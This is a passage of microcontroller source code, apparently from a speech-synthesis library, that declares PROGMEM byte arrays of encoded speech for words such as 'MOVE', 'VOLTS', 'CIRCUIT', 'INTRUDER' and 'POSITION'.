{0x6E,0x8A,0x42,0x6C,0xD5,0x9A,0xA4,0xB1,0x72,0xA5,0x2A,0x49,0x5B,0x87,0xD3,0x75,0x5B,0x1A,0x2E,0xAB,0x6F,0x7D,0xAB,0x53,0x76,0xDF,0x12,0xE6,0xAF,0x6F,0x71,0x8A,0x1E,0x43,0x52,0x72,0xF1,0x2A,0x7A,0x24,0x4D,0x4E,0xD7,0xA5,0x6A,0x06,0x32,0x2D,0x34,0x8F,0x7A,0x24,0x12,0x97,0x4E,0xB8,0xFA,0xE1,0x1D,0xD5,0xB3,0xE1,0x1A,0x7A,0x0D,0x12,0xB5,0xD5,0x6B,0xAC,0x51,0x24,0xD4,0x56,0x97,0x25,0x5A,0xB3,0x32,0x59,0x93,0xB6,0xA8,0x27,0x3C,0x31,0x4F,0xDE,0xEB,0x5E,0xCF,0x72,0x26,0x3E,0xD5,0xC6,0xF9,0xCA,0x55,0x71,0x77,0x39,0x7B,0x2B,0xD7,0x40,0xD1,0x1D,0xAC,0xBD,0xDC,0x05,0x57,0x77,0x90,0xB7,0xFC,0xFC,0x3F};\nconst uint8_t spMOVE[] PROGMEM = {0x6A,0xD7,0xC2,0xF2,0xD2,0xEC,0xB8,0x39,0x08,0xF6,0x4D,0x4D,0x1A,0xC6,0x24,0x31,0xB2,0xCC,0x69,0x1E,0x56,0x9D,0x85,0x7B,0x15,0xA4,0x3B,0x55,0x23,0x9E,0x3E,0xE0,0x6D,0xE7,0x23,0xAF,0x20,0xC6,0x0A,0xBC,0xCE,0xA2,0x34,0x91,0x6C,0x89,0x43,0xDF,0x3A,0x94,0x31,0x83,0x6E,0x4D,0xE8,0x9A,0x96,0x0C,0x3A,0x63,0x20,0x5B,0xD8,0xAC,0xEC,0xC8,0x20,0x37,0x7E,0xB7,0xA7,0x3D,0xCD,0xD9,0x8A,0x78,0x28,0x2E,0xB5,0x97,0xBD,0xED,0xCD,0x80,0x52,0x32,0x28,0x80,0x81,0xFF,0x07};\nconst uint8_t spOVER[] PROGMEM = {0x63,0x6F,0xC4,0x7A,0x1D,0xB5,0xED,0x61,0x37,0xBB,0x6E,0x75,0x62,0xD9,0x2D,0xEC,0xBF,0x56,0xAD,0x09,0xBA,0x32,0x8C,0x13,0xC7,0xD6,0xED,0x4D,0x85,0x86,0x99,0xE3,0x3E,0xB7,0x29,0x86,0x90,0x2C,0x76,0xDB,0xE6,0x98,0x95,0xBB,0x38,0x4F,0x5B,0x72,0x29,0xB4,0x51,0x6F,0x7D,0xAF,0x47,0xB9,0x73,0x71,0x8C,0x31,0x3F,0xE1,0xC9,0xA9,0x50,0xD6,0xFD,0xBA,0x27,0x57,0xC5,0x6E,0xCD,0xFD,0xFF};\nconst uint8_t spPLUS[] PROGMEM = {0x0A,0x18,0x4D,0x44,0x01,0x23,0x70,0x12,0x40,0x8B,0xD8,0x92,0x7A,0xD3,0x63,0x10,0xAD,0x57,0x91,0xC4,0xB5,0x8A,0xAE,0x39,0x45,0xE1,0x93,0xE9,0xBC,0xE5,0x96,0xB7,0x59,0x43,0x15,0x63,0xE9,0xBA,0x6B,0x6E,0xF5,0x64,0x40,0xF0,0xEE,0x0A,0xF8,0x25,0x43,0x03,0x1E,0xD0,0x80,0x04,0x38,0x40,0x01,0x0C,0xFC,0x3F};\nconst uint8_t spPULL[] PROGMEM = {0x06,0xF0,0xB6,0x9C,0x01,0x2C,0xB7,0x8F,0x28,0xCA,0x1E,0x53,0x5A,0xBA,0x93,0x95,0x0C,0x2C,0xD3,0x81,0xDA,0x76,0xBA,0xB3,0x51,0x57,0x14,0xB3,0x8E,0xEE,0x67,0xDF,0x87,0x34,0x17,0xE2,0x3B,0x86,0x5E,0xEB,0x11,0xCE,0x24,0x62,0xD3,0xB0,0x69,0xBE,0xFD,0xE3,0xDE,0x20,0x67,0x54,0xA5,0xCD,0xFF,0x03};\nconst uint8_t spREPEAT[] PROGMEM = {0x6E,0xF1,0x49,0x42,0x33,0xD8,0xC5,0xB9,0x8C,0xB9,0x62,0x8A,0x87,0xF6,0xD3,0xB7,0xCC,0xC6,0x1A,0xE9,0x4E,0x33,0x9C,0x23,0x79,0x7C,0xDE,0x4D,0x6B,0x5B,0x62,0xB0,0xF4,0x95,0x64,0x16,0xA1,0xDC,0x45,0x64,0x03,0x04,0xA0,0xB5,0x94,0x96,0xF6,0x14,0x4C,0x62,0xAF,0x4E,0xD6,0x13,0x93,0x66,0xCD,0x3E,0xD9,0x6C,0x89,0x64,0xB1,0xFA,0x66,0xBB,0x18,0xFD,0xAC,0x0A,0x92,0xB5,0xA8,0xAD,0xA3,0x10,0x8B,0x4D,0x6D,0x7B,0x21,0x50,0x84,0x72,0x17,0x91,0x0D,0x00,0x06,0xB8,0xDC,0xCD,0x01,0x33,0x6C,0x62,0x00,0x03,0xFF,0x0F};\nconst uint8_t spSHUT[] PROGMEM = {0x04,0x58,0xE3,0x5A,0x03,0x16,0xF0,0x80,0x07,0x22,0x60,0x81,0x55,0xB4,0xE4,0xA2,0x61,0x5D,0x6E,0x71,0xCA,0x12,0x3C,0xCA,0x7C,0xCE,0xAD,0x76,0x31,0xD7,0xBC,0x23,0x50,0x84,0x72,0x17,0x91,0x0D,0x00,0x06,0xE8,0x44,0x5D,0x01,0x3F,0x66,0x11,0xE0,0x98,0x59,0x04,0xF4,0x38,0xFE,0xFF};\nconst uint8_t spTEST[] PROGMEM = {0x0E,0x98,0x6A,0xC9,0x00,0x2B,0x37,0xAF,0xA4,0x45,0x91,0xB0,0x5A,0x72,0xEA,0x9A,0x9D,0x23,0xE3,0xCD,0x6D,0x56,0x57,0x93,0x5A,0x78,0x2D,0xD9,0xE3,0x9E,0xEB,0x4E,0x77,0x02,0x6C,0x95,0x4A,0x80,0xDF,0xD2,0x39,0xA0,0x01,0x0D,0x48,0x80,0x01,0x4F,0x2B,0x53,0x00,0x14,0x70,0x45,0x9A,0x06,0x10,0x50,0x73,0xC3,0xFF,0x03};\nconst uint8_t spVOLTS[] PROGMEM = {0xA0,0xDA,0xA2,0xB2,0x3A,0x44,0x55,0x9C,0xFA,0xB0,0xBA,0x46,0x72,0xDA,0xD1,0xDB,0xAE,0x47,0x59,0x61,0xED,0x28,0x79,0xED,0x45,0xAF,0x5A,0xDF,0x60,0xF4,0x39,0x69,0xAB,0x63,0xD9,0x3B,0xD2,0xBC,0x24,0xA5,0xF5,0xB6,0x0F,0x80,0x01,0x3E,0x63,0x65,0xC0,0x5F,0x63,0x12,0x90,0x80,0x06,0x24,0x20,0x01,0x0E,0xFC,0x3F};\nconst uint8_t spGALLONS[] PROGMEM = {0x0E,0x28,0x8A,0xE5,0xB4,0xAD,0x04,0x9B,0xF9,0x9A,0x5B,0x9F,0xBA,0xE9,0x91,0x4A,0x5D,0x7D,0xAB,0x53,0x15,0x35,0xBE,0xA2,0x8B,0x77,0x35,0xEA,0xCC,0xC6,0x4F,0xA9,0x6E,0x6B,0x07,0xC8,0xEC,0x45,0xCF,0x6B,0x2C,0xA2,0x7C,0x4D,0x36,0xCF,0x65,0xAC,0x8D,0x97,0xB6,0xE9,0xE2,0x7A,0x86,0x7B,0x44,0xD4,0xB0,0x54,0x1A,0xEE,0xA6,0x51,0x32,0xC2,0xA9,0x7F,0xCC,0xD3,0x2D,0xA3,0xA7,0xC4,0xB7,0xAF,0x7E,0xE4,0xE7,0xBE,0xAF,0x4D,0x54,0x53,0x19,0x03,0xBE,0x60,0x62,0xC0,0xAF,0xAE,0x12,0x90,0x00,0x02,0x6A,0x70,0xFE,0x7F};\nconst uint8_t spHERTZ[] PROGMEM = {0x04,0xC8,0xA1,0xD8,0x02,0x1E,0x58,0x71,0x2E,0x81,0x31,0xDC,0x65,0x25,0xD5,0x9E,0xC2,0x9A,0xFE,0x9D,0xED,0x7A,0x8E,0x61,0xAD,0x25,0xC1,0x4A,0xF3,0x01,0x00,0x02,0xB6,0x09,0x65,0xC0,0x6F,0x65,0x1C,0xB0,0x80,0x05,0x34,0xE0,0x01,0x0D,0x10,0xA0,0x09,0x97,0xFF,0x07};\nconst uint8_t spMICRO[] PROGMEM = {0x22,0x8B,0x44,0xF5,0x92,0x9B,0xDA,0xC5,0xCF,0x6B,0xA8,0xBC,0x2B,0x8B,0xB3,0xDC,0xEE,0xB6,0xA7,0x6E,0x3E,0xB9,0xC2,0x56,0x9F,0xA2,0x57,0x93,0xD0,0x9C,0x5D,0x8A,0x3E,0x88,0x52,0xA6,0x32,0x2B,0xAA,0x15,0x34,0xCB,0xD4,0xC0,0x80,0x12,0x23,0x22,0x60,0x81,0x30,0xC5,0xAA,0x61,0x25,0xF9,0x7A,0xDF,0x87,0x31,0x17,0xDE,0x1E,0xC5,0xFE,0xDB,0x96,0xD5,0xD8,0x38,0xF4,0xAB,0x47,0x78,0xBC,0xAB,0x18,0xE1,0x3C,0xFE,0xF5,0xDF,0xFF,0x03};\nconst uint8_t spOHMS[] PROGMEM = {0xAD,0xC9,0x74,0x37,0x59,0xD2,0xED,0xE6,0xD4,0x95,0xF8,0x56,0xB0,0xD2,0x5D,0x9D,0xAA,0x12,0xAF,0x2D,0xB7,0xBA,0xDB,0xDE,0xB7,0x79,0x68,0x93,0x32,0x96,0xD2,0x97,0xBA,0xE6,0x3D,0x9F,0xEE,0x6A,0x92,0xB9,0x22,0x9C,0x98,0x2B,0x33,0x8E,0x16,0x8F,0xEB,0xEE,0x6E,0xD1,0x5A,0x3C,0x4D,0xB8,0x06,0x09,0x35,0xA5,0xDE,0xE1,0xFA,0xC5,0xD8,0x4D,0xE4,0x2A,0xE0,0x5B,0x15,0x05,0x7C,0x27,0xA4,0x01,0x0E,0x70,0x00,0x01,0xDE,0x6C,0xFE,0x3F};\nconst uint8_t spAREA[] PROGMEM = {0x2D,0xEF,0xA1,0xC8,0x32,0x36,0xDF,0xE5,0x0C,0xDD,0x0D,0xCB,0x68,0xDF,0xDB,0xAC,0xBA,0x0C,0xB1,0x32,0xED,0x3A,0xAA,0xD4,0x39,0x2C,0x4D,0xEF,0xAC,0x67,0xB3,0xFA,0xD2,0x58,0xD3,0x3D,0xEF,0x1A,0xBA,0x2B,0xD0,0xF2,0xDD,0x73,0x1E,0x4B,0xF7,0x89,0xE6,0xF1,0x79,0xAF,0x63,0xED,0x3E,0xD8,0xDD,0x3E,0x8F,0xAD,0x3A,0xF7,0x76,0x5D,0xD3,0xB7,0xBE,0xB7,0xBB,0xE9,0xB4,0x4E,0xE9,0x5D,0x3F,0xF7,0xA7,0x1C,0x9E,0xEA,0x4B,0xFE,0x1F};\nconst uint8_t spCIRCUIT[] PROGMEM = {0x02,0x78,0x2D,0x55,0x02,0x12,0xB0,0x80,0x01,0x5E,0x49,0x5D,0x49,0x35,0xAE,0x1A,0xD6,0xF6,0x94,0x25,0x05,0x5B,0x4A,0xD7,0x55,0x94,0x3C,0x28,0x2D,0xFE,0x76,0x11,0xCA,0xEA,0x06,0x25,0x35,0x29,0x02,0x45,0x28,0x77,0x11,0xD9,0x08,0x28,0x4E,0x15,0x1C,0x50,0x1C,0xD3,0xEA,0x6A,0x14,0x49,0xF7,0x4D,0x7B,0x19,0x67,0x53,0x45,0x65,0xB1,0xA7,0x3E,0x08,0x14,0xA1,0xDC,0x45,0x64,0x03,0x80,0x00,0x96,0x56,0x53,0xC0,0x1F,0xAD,0x02,0x78,0xAE,0x06,0x01,0xCB,0xB7,0xFF,0x3F};\nconst uint8_t spCONNECT[] PROGMEM = {0x06,0xA8,0xD5,0x29,0x24,0x3D,0xAC,0xB3,0x52,0xE6,0x55,0x97,0xA0,0x56,0x12,0x8D,0x4F,0xDB,0x9C,0x6A,0x4B,0x2C,0x2D,0xDD,0xC8,0xA8,0xEE,0xE9,0xB4,0xF6,0xAB,0x6B,0x4E,0xB5,0x28,0x93,0xAC,0xB6,0xC5,0x66,0x4F,0xDB,0x7C,0xBB,0xDB,0xEF,0x69,0x9E,0xE5,0x69,0xA1,0x39,0x3C,0x96,0x20,0x50,0x84,0x72,0x17,0x91,0x0D,0x00,0x20,0x80,0xA5,0xC3,0x1C,0xB0,0xEC,0x97,0x05,0x18,0xD0,0xCB,0xDA,0xFF,0x03};\nconst uint8_t spSECONDS[] PROGMEM = {0x04,0xF8,0xC5,0x51,0x01,0xBF,0xA6,0x6A,0x40,0x03,0x16,0xD0,0xC0,0xCA,0xAB,0x75,0x2D,0xCD,0x25,0x37,0xBB,0xD9,0xCA,0xDA,0x54,0x0F,0xEE,0xD9,0x29,0x6B,0x47,0x30,0xD8,0xE3,0x80,0x00,0x6A,0x26,0x6D,0x55,0xEB,0xCA,0x21,0xB9,0xE4,0xD4,0xDD,0x26,0xA5,0xF9,0xE3,0x3D,0xB6,0x75,0x38,0xA3,0x31,0x5B,0x9A,0xB6,0x11,0x51,0x32,0xD2,0xAA,0x3F,0xFC,0x21,0xCE,0x22,0xD1,0xD7,0x2D,0x9E,0x39,0x0B,0x37,0x4E,0xD7,0x26,0xE1,0xFA,0xC4,0x55,0x42,0xFD,0x85,0xFB,0x7B,0x77,0x13,0xA3,0x27,0x80,0x03,0xD0,0x25,0x20,0x01,0x0A,0x20,0x20,0x69,0xD6,0xFF,0x07};\nconst uint8_t spUNIT[] PROGMEM = {0x61,0xB9,0x96,0x84,0xB9,0x56,0xE5,0xB9,0xCE,0x63,0xDE,0xCE,0x0D,0x30,0x36,0x9F,0x6E,0x86,0x36,0x60,0xE9,0x7B,0xCA,0x5E,0x93,0x45,0xA4,0xEB,0xC9,0xBB,0x77,0x72,0xE7,0x2D,0x2B,0xAB,0xD6,0x24,0x94,0x17,0x8F,0xA2,0x79,0x4C,0xD5,0x48,0x5D,0xAA,0xEE,0x21,0x23,0x42,0xF1,0x1A,0x66,0x54,0x15,0x97,0xD6,0x6B,0x19,0xD1,0xC5,0xC5,0x77,0xEF,0xB3,0x9F,0x7E,0x47,0xA0,0x08,0xE5,0x2E,0x22,0x1B,0x00,0x01,0xCB,0xBB,0x3B,0xE0,0xD7,0x0A,0x05,0x9C,0xD0,0x4D,0x80,0xE6,0x92,0xFE,0x1F};\nconst uint8_t spTIMER[] PROGMEM = {0x0E,0xB8,0x36,0xC3,0x01,0xCD,0x98,0xB4,0x38,0x87,0x8C,0x0A,0x59,0x72,0x8B,0x5B,0x9D,0xAA,0x15,0x35,0x0B,0x9F,0x7D,0x8B,0x5D,0xB4,0xAA,0x78,0x96,0xB4,0xB0,0x5B,0xFB,0x32,0xE7,0xE8,0x9C,0x85,0x6D,0xDA,0x96,0xC3,0x10,0x9F,0x78,0x49,0x67,0x35,0xA7,0xF0,0xA6,0x2F,0xDD,0x39,0x2D,0xF2,0x89,0x9F,0xFC,0xC4,0xD7,0xFD,0xC5,0x1F,0xC3,0xBA,0x3F,0xF3,0x97,0x6D,0x54,0xC9,0xFD,0xFE,0x1F};\nconst uint8_t spUP[] PROGMEM = {0x2D,0xCD,0x72,0xA2,0x55,0x77,0xDD,0xF6,0x36,0xB7,0xB9,0xD5,0xEA,0xB3,0xC9,0x6C,0xF1,0xD5,0xE9,0x4A,0xB6,0xBD,0x39,0x7F,0x21,0x50,0x84,0x72,0x17,0x91,0x0D,0x00,0x20,0x80,0x48,0xD3,0x08,0x90,0x54,0x28,0x06,0xFE,0x1F};\nconst uint8_t spIS[] PROGMEM = {0xAD,0xED,0xD5,0x58,0xA4,0x9E,0xCE,0x76,0xF5,0xDD,0xAB,0x29,0xF5,0xD2,0xDD,0xEF,0x7E,0x0C,0xC3,0xA9,0x06,0xFA,0xD3,0x32,0x0F,0x6E,0x94,0x22,0x8F,0xF3,0x92,0xF6,0x05,0x43,0xCC,0x74,0x77,0x3E,0xC3,0xF5,0x95,0x98,0xA9,0xBA,0x8B,0x8F,0x00,0x7E,0x73,0xE5,0x00,0x05,0x28,0xF0,0xFF};\nconst uint8_t spALERT[] PROGMEM = {0xA5,0xCF,0xC6,0xAB,0x55,0x5B,0xAF,0x39,0xDA,0xC9,0x54,0xDD,0xBC,0xC6,0xC2,0x3C,0x27,0x20,0xCF,0x1C,0xD7,0x30,0xB0,0x45,0x16,0x69,0x1D,0xC3,0x11,0xE4,0x59,0x8A,0x7C,0xB5,0x9B,0x8B,0xD9,0x30,0xB7,0xD3,0x76,0x19,0x9A,0x25,0x59,0x57,0x59,0xEC,0x11,0xAF,0xE8,0xD9,0xF9,0x2A,0x8A,0x1D,0xF0,0x75,0x3F,0x73,0xAC,0x87,0x3B,0xA2,0x0B,0xAA,0x2B,0xCF,0xE4,0x10,0xA1,0xDC,0x45,0x64,0x03,0x00,0x80,0x01,0x66,0x36,0x33,0xC0,0xAB,0xD5,0x0A,0x68,0x25,0x85,0x02,0xFF,0x0F};\nconst uint8_t spADJUST[] PROGMEM = {0xAD,0xAD,0xA1,0xD5,0xC4,0x5A,0x9F,0xB1,0xFA,0x14,0xB3,0x78,0xBC,0x87,0x31,0x55,0x9B,0xEC,0xC2,0x6B,0xC4,0xE6,0xB9,0xDB,0xB8,0x97,0x24,0x87,0xA6,0x99,0x59,0x61,0x4B,0x1C,0x05,0x63,0x56,0x79,0x6C,0x05,0x4C,0xC5,0x14,0x81,0x35,0xB4,0x98,0xAC,0xAE,0x7D,0x6E,0x77,0xAA,0xE2,0xD2,0x5A,0x63,0xD5,0xAD,0x6E,0xBD,0xBA,0xE2,0xD3,0x8A,0xAB,0xF2,0x1C,0x15,0x50,0x41,0x8A,0x03,0x7E,0x29,0xF1,0x80,0x05,0x2C,0xA0,0x01,0x01,0xFC,0xD6,0x2A,0x01,0x60,0xC0,0x0B,0xEC,0x16,0x60,0x40,0xB7,0x63,0xFF,0x0F};\nconst uint8_t spBETWEEN[] PROGMEM = {0xA2,0xED,0xD9,0x59,0x4C,0xFB,0xEC,0xE2,0x0C,0x33,0x34,0x83,0xD9,0x96,0x3B,0x8E,0x69,0xC6,0x15,0x14,0xDA,0x03,0xE0,0x80,0x6E,0xCD,0x03,0xD0,0xE3,0xB8,0x02,0x72,0x48,0x2B,0x45,0xB0,0xE9,0x69,0x12,0x77,0x55,0x99,0xA7,0x57,0x42,0x93,0x53,0x74,0x19,0xE6,0x89,0x6B,0x4E,0x39,0x82,0xB3,0xA6,0x3E,0x3A,0xE5,0x2C,0x81,0x5C,0x59,0xE9,0xD6,0xAB,0xEB,0x81,0x31,0x27,0xCA,0xCC,0xA5,0x6F,0x65,0x1B,0x09,0x5D,0x3D,0xDC,0xD4,0x23,0x9F,0xE9,0xA9,0x8A,0xB4,0xDD,0x92,0xFC,0x3F};\nconst uint8_t spMINUTES[] PROGMEM = {0x61,0xCA,0xCC,0x38,0x5B,0x9A,0xE6,0xA9,0xB6,0xA7,0xEC,0x2A,0xC5,0xDD,0x17,0xDF,0xE2,0xE6,0x23,0x6B,0x16,0xC3,0x2D,0x92,0xCC,0x72,0xB5,0xD5,0xBA,0x86,0xD5,0xEC,0xB9,0x94,0xAD,0x98,0x90,0xF4,0x79,0x14,0xDE,0x8E,0x53,0x3C,0x63,0x23,0x02,0x45,0x28,0x77,0x11,0xD9,0x00,0x80,0x80,0xCF,0x58,0x05,0xF0,0x7B,0x99,0x04,0x38,0xC0,0x01,0x0A,0x50,0xE0,0xFF,0x01};\nconst uint8_t spBUTTON[] PROGMEM = {0x10,0xA6,0x28,0xDD,0xCD,0x2D,0xD5,0x6A,0x8B,0xEE,0x6C,0xB1,0x4D,0xA7,0xAC,0x2E,0xA3,0x44,0x97,0xDC,0xA6,0xF5,0xCD,0x6B,0x34,0x46,0x13,0x32,0x89,0x50,0xEE,0x22,0xB2,0x01,0x20,0xA5,0xDD,0xA1,0x94,0xBB,0xB3,0xB6,0x0C,0x2F,0xA4,0xE6,0xF1,0xFA,0x96,0x8F,0x70,0x8F,0xC2,0x2A,0xE6,0x4A,0xDD,0xD3,0x2D,0x51,0x7A,0xDA,0xF3,0xAF,0x7B,0x47,0x63,0x51,0x73,0x67,0xE1,0x6B,0x46,0xDD,0x49,0xEB,0xFE,0x3F};\nconst uint8_t spCLOCK[] PROGMEM = {0x06,0x48,0x65,0x34,0x00,0x93,0xA7,0x5B,0xA0,0xA4,0x95,0xBA,0x5F,0x82,0x9B,0x95,0x07,0x37,0x55,0x24,0x4D,0x4E,0x51,0xE9,0x54,0x25,0x76,0xB9,0xE5,0x2D,0x4F,0x93,0x7D,0xE5,0x98,0xAE,0xDE,0x63,0x3B,0x72,0xC9,0x2C,0x8E,0xD9,0xF1,0x41,0xA0,0x08,0xE5,0x2E,0x22,0x1B,0x00,0x40,0x00,0x35,0x0D,0x69,0x80,0x02,0xFF,0x0F};\nconst uint8_t spDEVICE[] PROGMEM = {0x64,0x8E,0x38,0x3C,0x4B,0x62,0x8F,0x7D,0x89,0x14,0xD4,0xCC,0xB5,0x86,0x11,0x9A,0xD1,0xB5,0xCF,0x1C,0xDC,0xDC,0xA5,0x23,0xB5,0x3B,0xCB,0x73,0x9D,0x46,0x99,0x6D,0x59,0x35,0xE5,0xD9,0xF5,0x69,0xAA,0x1E,0xCB,0xE2,0xCD,0xB7,0xB9,0xDD,0x19,0xAA,0x2F,0xE9,0xD0,0xD5,0x7B,0x69,0x57,0xF3,0x49,0x1E,0xF1,0x28,0xDE,0x0C,0xB8,0x36,0x54,0x00,0xBF,0x55,0x6A,0x40,0x03,0x1A,0xE0,0x00,0x07,0x28,0xF0,0xFF};\nconst uint8_t spEAST[] PROGMEM = {0xAD,0x1D,0x59,0x50,0xBC,0x17,0x8F,0x7A,0x96,0x02,0x8C,0x7C,0xB2,0xEB,0x5D,0xCD,0x7A,0x0C,0x63,0x10,0x71,0xCC,0xEC,0x3E,0xA5,0x75,0x0C,0x41,0xF2,0x7A,0x4C,0x80,0x6F,0x67,0x24,0xA0,0x01,0x05,0xFC,0x3C,0xA5,0x01,0x0D,0x58,0x40,0x02,0x04,0xF8,0xDA,0x1C,0x03,0x1A,0x30,0xC0,0x31,0x37,0x02,0xE8,0xF5,0x8D,0x00,0xD5,0x39,0xFC,0x3F};\nconst uint8_t spFAIL[] PROGMEM = {0x04,0x98,0x3E,0x8D,0x03,0x1C,0xD0,0x80,0x07,0x4A,0xBF,0x54,0x9B,0x3A,0x79,0x9C,0xCD,0xAA,0x9B,0x0F,0x31,0x8F,0x37,0xB7,0xBE,0xCD,0x6A,0x47,0x2A,0x66,0xB3,0xB7,0xB3,0xDB,0x6B,0x5F,0xC7,0x56,0x44,0x58,0x8E,0x76,0xAA,0x7B,0xD8,0x33,0xB9,0x32,0xD7,0x3C,0xF9,0x0C,0x67,0xD4,0x13,0x9E,0x98,0xC7,0x5F,0xEE,0x49,0x7C,0xAA,0x8D,0xF3,0xF9,0xF7,0xFF,0x01};\nconst uint8_t spFREQUENCY[] PROGMEM = {0x04,0xA8,0x4A,0x9D,0x01,0x33,0x8C,0x71,0x40,0x02,0x1A,0x08,0x71,0x4E,0x5C,0x52,0xEA,0x7E,0x67,0x2B,0xEB,0xB5,0x98,0x82,0xB7,0xEE,0x64,0xA4,0x7D,0x18,0xB2,0xDB,0x1B,0x9B,0x22,0x50,0x84,0x72,0x17,0x91,0x0D,0x04,0xF0,0x35,0x2D,0x25,0x59,0xB9,0x57,0xCA,0xE2,0x39,0xB4,0xB1,0x69,0xB4,0xF2,0xB4,0x5B,0x97,0xB0,0x14,0x05,0x15,0x91,0x6A,0xF4,0x2A,0x80,0x5F,0x4A,0x2D,0xE0,0x01,0x0B,0x68,0x40,0x03,0x63,0x69,0x56,0xC5,0x25,0x57,0x8D,0xAD,0x27,0x63,0xB1,0x78,0xDC,0x8F,0x7E,0x95,0x6B,0xE6,0x24,0x32,0x5B,0x93,0xEE,0xD1,0x83,0x58,0xEC,0x4D,0x7E,0xE3,0xF7,0xFF};\nconst uint8_t spGATE[] PROGMEM = {0x0C,0x08,0xDA,0x75,0x2C,0xB3,0x27,0x19,0xBB,0xDD,0xD1,0xB7,0x44,0xE4,0x51,0x73,0x4E,0x3D,0x7A,0x90,0x49,0x2C,0xB9,0xE5,0xAD,0x6E,0xB5,0xBA,0x99,0x0A,0x24,0xE3,0xF1,0x1E,0xFA,0x1E,0xEE,0x31,0x13,0x59,0xE3,0x8D,0xFA,0x47,0x21,0x32,0xAF,0xC7,0x08,0x14,0xA1,0xDC,0x45,0x64,0x03,0x00,0x38,0x60,0x89,0x52,0x03,0x6C,0xF3,0xC3,0x80,0xDE,0xD7,0x08,0x50,0x8D,0xE1,0xFF,0x03};\nconst uint8_t spHIGH[] PROGMEM = {0x04,0xC8,0x7E,0x9C,0x02,0x12,0xD0,0x80,0x06,0x56,0x96,0x7D,0x67,0x4B,0x2C,0xB9,0xC5,0x6D,0x6E,0x7D,0xEB,0xDB,0xDC,0xEE,0x8C,0x4D,0x8F,0x65,0xF1,0xE6,0xBD,0xEE,0x6D,0xEC,0xCD,0x97,0x74,0xE8,0xEA,0x79,0xCE,0xAB,0x5C,0x23,0x06,0x69,0xC4,0xA3,0x7C,0xC7,0xC7,0xBF,0xFF,0x0F};\nconst uint8_t spINTRUDER[] PROGMEM = {0xAB,0x1D,0xA9,0x88,0xCC,0x37,0x9F,0x66,0xBA,0x16,0x31,0xFE,0xBC,0xEB,0x55,0x0F,0xCF,0x98,0x69,0x55,0x47,0xD3,0x0C,0xF2,0xA4,0x45,0xAB,0x6D,0x6D,0x43,0x57,0x34,0xF8,0x78,0x34,0x45,0xA0,0x08,0xE5,0x2E,0x22,0x1B,0x14,0xD0,0x4A,0x46,0x06,0x34,0xD0,0xD2,0xEC,0x39,0xCC,0xCC,0xDD,0xCC,0x56,0x9E,0x95,0x58,0x14,0xB5,0xDB,0x45,0xAB,0xAB,0x27,0x4B,0xF6,0x74,0xA2,0x62,0xCE,0xB2,0x3C,0x66,0xB7,0x7A,0x2C,0x0B,0x61,0x95,0xBB,0x96,0x96,0x4C,0xD9,0x35,0xDB,0x98,0xAB,0x29,0xA2,0xB3,0x7C,0x73,0xED,0x47,0xBB,0x4A,0x2E,0xD0,0x71,0x3F,0xF9,0x8B,0x5F,0xF8,0x4A,0x0F,0xF4,0xD1,0x3C,0xFF,0x0F};\nconst uint8_t spMEASURE[] PROGMEM = {0x66,0x71,0x52,0xED,0xD2,0x92,0x86,0x39,0x2B,0xE6,0x4E,0x8F,0x9B,0xC7,0xD1,0x17,0xA3,0x1C,0x22,0x69,0x4F,0xD7,0x73,0xA8,0x9B,0xAE,0xBE,0xF5,0xAD,0x6E,0x39,0xF2,0xEE,0x45,0xD4,0x7C,0xA5,0x01,0x1A,0x63,0x0E,0xC0,0xA8,0x81,0x11,0x18,0x7D,0x8F,0x29,0x68,0x96,0x75,0x0C,0x25,0x27,0x71,0x85,0xF7,0x39,0xCF,0x7D,0x1E,0xE5,0x2A,0x4B,0xD8,0x5B,0xF3,0xE4,0x27,0x3E,0xFE,0x75,0x7F,0x19,0x46,0xD9,0xBC,0xE5,0xFF,0x01};\nconst uint8_t spNORTH[] PROGMEM = {0x66,0x8E,0x54,0xAC,0x9A,0xE7,0x84,0xA9,0x0A,0xE2,0x1C,0xAE,0x5B,0xC6,0xE6,0x51,0xCD,0x23,0xE9,0xE9,0x8B,0x71,0x77,0xD3,0xAE,0xA7,0x2A,0x22,0x3D,0x8B,0xB2,0x9E,0x32,0x8B,0xCE,0x6C,0xD6,0x76,0x8B,0x55,0x26,0xB7,0xE2,0xCB,0x7A,0x77,0x35,0x87,0xB6,0xE5,0x92,0x54,0xA9,0xF9,0xC6,0x91,0x63,0x88,0xA7,0x77,0xEE,0x67,0xBA,0x4B,0x60,0x2F,0xAB,0xD6,0x04,0x18,0xB2,0x44,0x03,0x06,0xC8,0xB2,0x44,0x03,0x14,0xA0,0xC0,0xFF,0x03};\nconst uint8_t spPASS[] PROGMEM = {0x0A,0xC8,0x33,0x83,0x03,0xA3,0xEC,0x55,0x2D,0xD4,0x12,0xAF,0xAA,0x04,0xC9,0xD4,0x0E,0x7D,0xAA,0x16,0x4A,0x33,0x65,0xCE,0xAD,0x6F,0x7D,0x9A,0x9A,0xDC,0xDB,0x62,0xEE,0x6D,0x6E,0x73,0xC6,0x12,0xDD,0x5B,0x6B,0xEE,0x5D,0xF6,0x3A,0xCE,0xAA,0xD2,0x26,0xED,0x75,0xBB,0x9B,0x4D,0x6D,0xF1,0x25,0xFD,0x77,0x7F,0xEF,0xD2,0xCE,0x9D,0x46,0x00,0x4B,0x17,0x2B,0xE0,0x8F,0x52,0x0B,0x68,0x40,0x02,0x1C,0x90,0xC0,0xFF,0x03};\nconst uint8_t spPOSITION[] PROGMEM = {0x02,0xC8,0x3C,0x78,0x24,0x5D,0xB8,0xBB,0x53,0xB7,0x5B,0xDC,0x62,0xD5,0x4B,0x38,0x87,0xA1,0x1F,0x05,0x5C,0x40,0x66,0x81,0x95,0x1D,0x19,0xA6,0x4E,0x7E,0x4E,0x3C,0x75,0xA8,0x39,0xF5,0x3D,0x51,0xB7,0xA9,0xA6,0xBA,0xE7,0x44,0x2D,0x99,0x2A,0xC7,0xA6,0x04,0x8C,0x3E,0x95,0x81,0x0C,0x78,0xA0,0xF5,0x2D,0xA8,0x98,0xD9,0x96,0x3D,0x8D,0x69,0xE8,0x64,0x4B,0xE9,0x3B,0x8E,0xA1,0x9D,0xBD,0xA4,0x4B,0x3B,0xBA,0x16,0x2C,0x77,0x7B,0xF9,0xCA,0x4F,0x78,0x7B,0x20,0x35,0x0B,0xA7,0xF1,0xFF,0x7F};const uint8_t spPUSH[] PROGMEM = 